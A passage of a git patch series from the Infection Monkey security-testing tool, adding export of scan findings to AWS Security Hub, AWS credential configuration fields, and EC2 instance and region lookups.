'network', 'exploits', 'internal']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'monkey_island']; // set schema from server this.state = { From f8f7421c4724e0bfcf8147107d26919f8e8f58d0 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 11:48:43 +0200 Subject: [PATCH 27/71] * Added aws creds keys to configuration * Added boto session creation using credentials * Added a flag in the get_config function to separate island configuration values from monkey ones. --- .../cc/resources/aws_exporter.py | 20 +++++- monkey/monkey_island/cc/services/config.py | 63 +++++++++---------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 3 files changed, 47 insertions(+), 38 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 363114948..6295f28f3 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -4,9 +4,13 @@ from datetime import datetime import boto3 from cc.resources.exporter import Exporter +from cc.services.config import ConfigService logger = logging.getLogger(__name__) +AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_secret_access_key']] + class AWSExporter(Exporter): @@ -19,12 +23,20 @@ class AWSExporter(Exporter): for issue in issues_list[machine]: findings_list.append(AWSExporter._prepare_finding(issue)) - if not AWSExporter._send_findings(findings_list): + if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): logger.error('Exporting findings to aws failed') return False return True + @staticmethod + def _get_aws_keys(): + creds_dict = {} + for key in AWS_CRED_CONFIG_KEYS: + creds_dict[key[2]] = ConfigService.get_config_value(key) + + return creds_dict + @staticmethod def merge_two_dicts(x, y): z = x.copy() # start with x's keys and values @@ -60,9 +72,11 @@ class AWSExporter(Exporter): return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) @staticmethod - def _send_findings(findings_list): + def _send_findings(findings_list, creds_dict): - securityhub = boto3.client('securityhub') + securityhub = boto3.client('securityhub', + aws_access_key_id=creds_dict.get('aws_access_key_id', ''), + aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) import_response = securityhub.batch_import_findings(Findings=findings_list) print import_response if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 3c61a89a3..6255a0656 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -639,6 +639,28 @@ SCHEMA = { "description": "The current command server the monkey is communicating with" } } + }, + 'aws_config': { + 'title': 'AWS Configuration', + 'type': 'object', + 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', + 'properties': { + 'iam_role_id': { + 'title': 'IAM role ID', + 'type': 'string', + 'description': '' + }, + 'aws_access_key_id': { + 'title': 'AWS access key ID', + 'type': 'string', + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.' + }, + 'aws_secret_access_key': { + 'title': 'AWS secret access key', + 'type': 'string', + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.' + } + } } } }, @@ -863,36 +885,6 @@ SCHEMA = { } } }, - 'island_configuration': { - 'title': 'Island Configuration', - 'type': 'object', - 'properties': - { - 'aws_config': - { - 'title': 'AWS Configuration', - 'type': 'object', - 'properties': - { - 'iam_role_id': - { - 'title': 'IAM role ID', - 'type': 'string' - }, - 'aws_access_key': - { - 'title': 'AWS access key ID', - 'type': 'string' - }, - 'aws_secret_access_key': - { - 'title': 'AWS Secret Access Key', - 'type': 'string' - } - } - } - } - } }, "options": { "collapsed": True @@ -906,9 +898,9 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], ['internal', 'exploits', 'exploit_ssh_keys'], - ['island_configuration', 'aws_config', 'iam_role_id'], - ['island_configuration', 'aws_config', 'aws_access_key'], - ['island_configuration', 'aws_config', 'aws_secret_access_key'], + # ['cnc', 'aws_config', 'iam_role_id'], + # ['cnc', 'aws_config', 'aws_access_key_id'], + # ['cnc', 'aws_config', 'aws_secret_access_key'], ] # This should be used for config values of string type @@ -925,11 +917,12 @@ class ConfigService: pass @staticmethod - def get_config(is_initial_config=False, should_decrypt=True): + def get_config(is_initial_config=False, should_decrypt=True, is_island=False): """ Gets the entire global config. :param is_initial_config: If True, the initial config will be returned instead of the current config. :param should_decrypt: If True, all config values which are set as encrypted will be decrypted. + :param is_island: If True, will include island specific configuration parameters. :return: The entire global config. """ config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {} @@ -937,6 +930,8 @@ class ConfigService: config.pop(field, None) if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) + if not is_island: + config['cnc'].pop('aws_config', None) return config @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 7e08170e2..a97447df0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,7 +10,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'monkey_island']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; // set schema from server this.state = { From 1912a274222c9175cdc520f91dc1ea047ebaed09 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 12:59:06 +0200 Subject: [PATCH 28/71] * added instance ID to each issue in an aws machine * changed findings resource to ec2 instance id instead of IP --- .../cc/resources/aws_exporter.py | 36 +++++++++---------- .../monkey_island/cc/resources/telemetry.py | 2 ++ monkey/monkey_island/cc/services/report.py | 7 ++++ 3 files changed, 27 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 6295f28f3..3f138e688 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -93,8 +93,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['dest'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -118,8 +118,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": str(issue['ip_address']) + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -143,8 +143,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -167,8 +167,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -191,8 +191,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -215,8 +215,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['networks'][0][:-2] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -243,8 +243,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": '10.0.0.1' + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -267,8 +267,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -291,8 +291,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 0db3b0eb4..6fc8f06f8 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -191,6 +191,8 @@ class Telemetry(flask_restful.Resource): if 'wmi' in telemetry_json['data']: wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() + if 'aws' in telemetry_json['data']: + mongo.db.monkey.insert({'aws_instance_id': telemetry_json['data']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 1320facfe..428d5ac70 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -548,6 +548,10 @@ class ReportService: logger.info('Domain issues generated for reporting') return domain_issues_dict + @staticmethod + def get_machine_aws_instance_id(hostname): + return str(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + @staticmethod def get_issues(): ISSUE_GENERATORS = [ @@ -564,8 +568,11 @@ class ReportService: for issue in issues: if issue.get('is_local', True): machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) if machine not in issues_dict: issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id issues_dict[machine].append(issue) logger.info('Issues generated for reporting') return issues_dict From a00bfc17e3149f89cd4d2543ad4596592186b746 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 14:01:46 +0200 Subject: [PATCH 29/71] * add instance id to domain issues too --- monkey/monkey_island/cc/services/report.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 428d5ac70..2d290886e 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -542,8 +542,11 @@ class ReportService: for issue in issues: if not issue.get('is_local', True): machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) if machine not in domain_issues_dict: domain_issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id domain_issues_dict[machine].append(issue) logger.info('Domain issues generated for reporting') return domain_issues_dict From f506eb3dd14aa1a57a347b38cc940c04ad2ad98a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 15:04:25 +0200 Subject: [PATCH 30/71] * a small fixup --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/config.py | 6 +++--- monkey/monkey_island/cc/services/report.py | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 6fc8f06f8..ab911a119 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,7 +192,7 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - mongo.db.monkey.insert({'aws_instance_id': telemetry_json['data']['instance-id']}) + mongo.db.monkey.update_one({'_id': monkey_id}, {'aws_instance_id': telemetry_json['data']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 6255a0656..1fb26cb1c 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -645,10 +645,10 @@ SCHEMA = { 'type': 'object', 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', 'properties': { - 'iam_role_id': { - 'title': 'IAM role ID', + 'aws_account_id': { + 'title': 'AWS account ID', 'type': 'string', - 'description': '' + 'description': 'Your AWS account ID that is subscribed to security hub feeds' }, 'aws_access_key_id': { 'title': 'AWS access key ID', diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2d290886e..961bb1195 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -553,7 +553,7 @@ class ReportService: @staticmethod def get_machine_aws_instance_id(hostname): - return str(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0]['aws_instance_id']) @staticmethod def get_issues(): @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if load_env_from_file() == AWS: + if str(load_env_from_file()) == 'standard': exporters_list.append(AWSExporter) return exporters_list From 90554f63cb119dc0a498273c4de41db0b1fff127 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 10:28:41 +0200 Subject: [PATCH 31/71] * Exceptions handling for sending findings --- monkey/monkey_island/cc/resources/aws_exporter.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 3f138e688..c2082629c 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -77,11 +77,15 @@ class AWSExporter(Exporter): securityhub = boto3.client('securityhub', aws_access_key_id=creds_dict.get('aws_access_key_id', ''), aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) - import_response = securityhub.batch_import_findings(Findings=findings_list) - print import_response - if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: - return True - else: + try: + import_response = securityhub.batch_import_findings(Findings=findings_list) + print import_response + if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + return True + else: + return False + except Exception as e: + logger.error('AWS security hub findings failed to send.') return False @staticmethod From a42d621340363fc7b6e8873f177dc18cf457b28d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 11:08:43 +0200 Subject: [PATCH 32/71] * Added another configuration endpoint for the island specific fields --- monkey/monkey_island/cc/app.py | 2 ++ .../cc/resources/island_configuration.py | 24 +++++++++++++++++++ monkey/monkey_island/cc/services/config.py | 19 ++++++++------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 4 files changed, 37 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/island_configuration.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a9682cc90..5bb94b611 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -18,6 +18,7 @@ from cc.resources.log import Log from cc.resources.island_logs import IslandLog from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration +from cc.resources.island_configuration import IslandConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap from cc.resources.node import Node @@ -104,6 +105,7 @@ def init_app(mongo_url): api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/') api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/') api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') + api.add_resource(IslandConfiguration, '/api/configuration/island', '/api/configuration/island/') api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', '/api/monkey/download/') api.add_resource(NetMap, '/api/netmap', '/api/netmap/') diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py new file mode 100644 index 000000000..57fda34fe --- /dev/null +++ b/monkey/monkey_island/cc/resources/island_configuration.py @@ -0,0 +1,24 @@ +import json + +import flask_restful +from flask import request, jsonify, abort + +from cc.auth import jwt_required +from cc.services.config import ConfigService + + +class IslandConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True, True)) + + @jwt_required() + def post(self): + config_json = json.loads(request.data) + if 'reset' in config_json: + ConfigService.reset_config() + else: + if not ConfigService.update_config(config_json, should_encrypt=True): + abort(400) + return self.get() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1fb26cb1c..2058a61dd 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -648,17 +648,20 @@ SCHEMA = { 'aws_account_id': { 'title': 'AWS account ID', 'type': 'string', - 'description': 'Your AWS account ID that is subscribed to security hub feeds' + 'description': 'Your AWS account ID that is subscribed to security hub feeds', + 'default': " " }, 'aws_access_key_id': { 'title': 'AWS access key ID', 'type': 'string', - 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.' + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', + 'default': " " }, 'aws_secret_access_key': { 'title': 'AWS secret access key', 'type': 'string', - 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.' + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', + 'default': " " } } } @@ -897,16 +900,14 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'], - # ['cnc', 'aws_config', 'iam_role_id'], - # ['cnc', 'aws_config', 'aws_access_key_id'], - # ['cnc', 'aws_config', 'aws_secret_access_key'], + ['internal', 'exploits', 'exploit_ssh_keys'] ] # This should be used for config values of string type ENCRYPTED_CONFIG_STRINGS = \ [ - + ['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_secret_access_key'] ] @@ -931,7 +932,7 @@ class ConfigService: if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) if not is_island: - config['cnc'].pop('aws_config', None) + config.get('cnc', {}).pop('aws_config', None) return config @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a97447df0..6cc7e009a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -24,7 +24,7 @@ class ConfigurePageComponent extends AuthComponent { } componentDidMount() { - this.authFetch('/api/configuration') + this.authFetch('/api/configuration/island') .then(res => res.json()) .then(res => { let sections = []; From 8e6ab5b9f58e403692392b1f961a0a468c963a31 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 14:13:50 +0200 Subject: [PATCH 33/71] * Added aws region getter * Moved productARN to server_config.json file --- monkey/monkey_island/cc/environment/aws.py | 4 ++++ monkey/monkey_island/cc/environment/environment.py | 9 ++++++--- monkey/monkey_island/cc/resources/aws_exporter.py | 7 +++++-- monkey/monkey_island/cc/server_config.json | 5 ++++- 4 files changed, 19 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 464d42323..e3c139e90 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -14,6 +14,10 @@ class AwsEnvironment(Environment): def _get_instance_id(): return AWS.get_instance_id() + @staticmethod + def _get_region(): + return urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + def is_auth_enabled(self): return True diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 70fc025c3..c15e70257 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -14,13 +14,16 @@ ENV_DICT = { } -def load_env_from_file(): +def load_server_configuration_from_file(): with open('monkey_island/cc/server_config.json', 'r') as f: config_content = f.read() - config_json = json.loads(config_content) - return config_json['server_config'] + return json.loads(config_content) +def load_env_from_file(): + config_json = load_server_configuration_from_file() + return config_json['server_config'] + try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index c2082629c..480743026 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -5,6 +5,7 @@ import boto3 from cc.resources.exporter import Exporter from cc.services.config import ConfigService +from cc.environment.environment import load_server_configuration_from_file logger = logging.getLogger(__name__) @@ -57,10 +58,12 @@ class AWSExporter(Exporter): 'shared_passwords': AWSExporter._handle_shared_passwords_issue, } + product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + finding = { "SchemaVersion": "2018-10-08", "Id": uuid.uuid4().hex, - "ProductArn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty", + "ProductArn": product_arn, "GeneratorId": issue['type'], "AwsAccountId": "324264561773", "Types": [ @@ -308,4 +311,4 @@ class AWSExporter(Exporter): "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) } } - return finding + return finding \ No newline at end of file diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 2d1a5995b..4d8644cbb 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,3 +1,6 @@ { - "server_config": "standard" + "server_config": "standard", + "aws": { + "sec_hub_product_arn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty" + } } \ No newline at end of file From bf29cddf4d4921d7f492635654e0f79369709ba4 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 14:44:39 +0200 Subject: [PATCH 34/71] * Fixed the aws env class to not be static anymore after itay's change. * Added aws region getter --- monkey/common/cloud/aws.py | 4 ++++ monkey/monkey_island/cc/environment/aws.py | 14 +++++++------- 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 53b0690f9..90267bca7 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -7,11 +7,15 @@ class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] except urllib2.URLError: self.instance_id = None def get_instance_id(self): return self.instance_id + def get_region(self): + return self.region + def is_aws_instance(self): return self.instance_id is not None diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index e3c139e90..a004a2540 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -8,15 +8,15 @@ __author__ = 'itay.mizeretz' class AwsEnvironment(Environment): def __init__(self): super(AwsEnvironment, self).__init__() - self._instance_id = AwsEnvironment._get_instance_id() + self.aws_info = AWS() + self._instance_id = self._get_instance_id() + self.region = self._get_region() - @staticmethod - def _get_instance_id(): - return AWS.get_instance_id() + def _get_instance_id(self): + return self.aws_info.get_instance_id() - @staticmethod - def _get_region(): - return urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + def _get_region(self): + return self.aws_info.get_region() def is_auth_enabled(self): return True From fb5ae63f0476d6e9134a639038664a8e4a26c49d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 14:45:44 +0200 Subject: [PATCH 35/71] * Fixed the aws env class to not be static anymore after itay's change. * Added aws region getter --- monkey/monkey_island/cc/environment/aws.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index 2d62079e6..a004a2540 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -18,10 +18,6 @@ class AwsEnvironment(Environment): def _get_region(self): return self.aws_info.get_region() - @staticmethod - def _get_region(): - return urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] - def is_auth_enabled(self): return True From 9e6b2b2d2664100efa5de13e02dda25d0a0aaec6 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 16:57:53 +0200 Subject: [PATCH 36/71] * Added missing findings * switched to using the aws account id from the island's configuration page --- .../cc/resources/aws_exporter.py | 524 ++++++++++++------ monkey/monkey_island/cc/services/config.py | 1 + 2 files changed, 355 insertions(+), 170 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 480743026..0d9b0a157 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -10,7 +10,8 @@ from cc.environment.environment import load_server_configuration_from_file logger = logging.getLogger(__name__) AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], - ['cnc', 'aws_config', 'aws_secret_access_key']] + ['cnc', 'aws_config', 'aws_secret_access_key'], + ['cnc', 'aws_config', 'aws_account_id']] class AWSExporter(Exporter): @@ -34,7 +35,7 @@ class AWSExporter(Exporter): def _get_aws_keys(): creds_dict = {} for key in AWS_CRED_CONFIG_KEYS: - creds_dict[key[2]] = ConfigService.get_config_value(key) + creds_dict[key[2]] = str(ConfigService.get_config_value(key)) return creds_dict @@ -56,16 +57,28 @@ class AWSExporter(Exporter): 'smb_pth': AWSExporter._handle_smb_pth_issue, 'sambacry': AWSExporter._handle_sambacry_issue, 'shared_passwords': AWSExporter._handle_shared_passwords_issue, + 'wmi_password': AWSExporter._handle_wmi_password_issue, + 'wmi_pth': AWSExporter._handle_wmi_pth_issue, + 'ssh_key': AWSExporter._handle_ssh_key_issue, + 'rdp': AWSExporter._handle_rdp_issue, + 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, + 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, + 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, + 'struts2': AWSExporter._handle_struts2_issue, + 'weblogic': AWSExporter._handle_weblogic_issue, + 'hadoop': AWSExporter._handle_hadoop_issue, + # azure and conficker are not relevant issues for an AWS env } product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { "SchemaVersion": "2018-10-08", "Id": uuid.uuid4().hex, "ProductArn": product_arn, "GeneratorId": issue['type'], - "AwsAccountId": "324264561773", + "AwsAccountId": account_id, "Types": [ "Software and Configuration Checks/Vulnerabilities/CVE" ], @@ -93,222 +106,393 @@ class AWSExporter(Exporter): @staticmethod def _handle_tunnel_issue(issue): - finding =\ - { - "Severity": { - "Product": 5, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + finding = \ + {"Severity": { + "Product": 5, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", + "Title": "Weak segmentation - Machines were able to communicate over unused ports.", + "Description": "Use micro-segmentation policies to disable communication other than the required.", + "Remediation": { + "Recommendation": { + "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']) + } + }} - finding["Title"] = "Weak segmentation - Machines were able to communicate over unused ports." - finding["Description"] = "Use micro-segmentation policies to disable communication other than the required." - finding["Remediation"] = { - "Recommendation": { - "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" - .format(issue['machine'], issue['dest']) - } - } return finding @staticmethod def _handle_sambacry_issue(issue): finding = \ - { - "Severity": { - "Product": 10, - "Normalized": 100 - }, - "Resources": [{ - "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] - }], - "RecordState": "ACTIVE", - } + {"Severity": { + "Product": 10, + "Normalized": 100 + }, "Resources": [{ + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] + }], "RecordState": "ACTIVE", "Title": "Samba servers are vulnerable to 'SambaCry'", + "Description": "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ + .format(issue['username']), "Remediation": { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( + issue['machine'], issue['ip_address'], issue['username']) + } + }} - finding["Title"] = "Samba servers are vulnerable to 'SambaCry'" - finding["Description"] = "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up."\ - .format(issue['username']) - finding["Remediation"] = { - "Recommendation": { - "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, 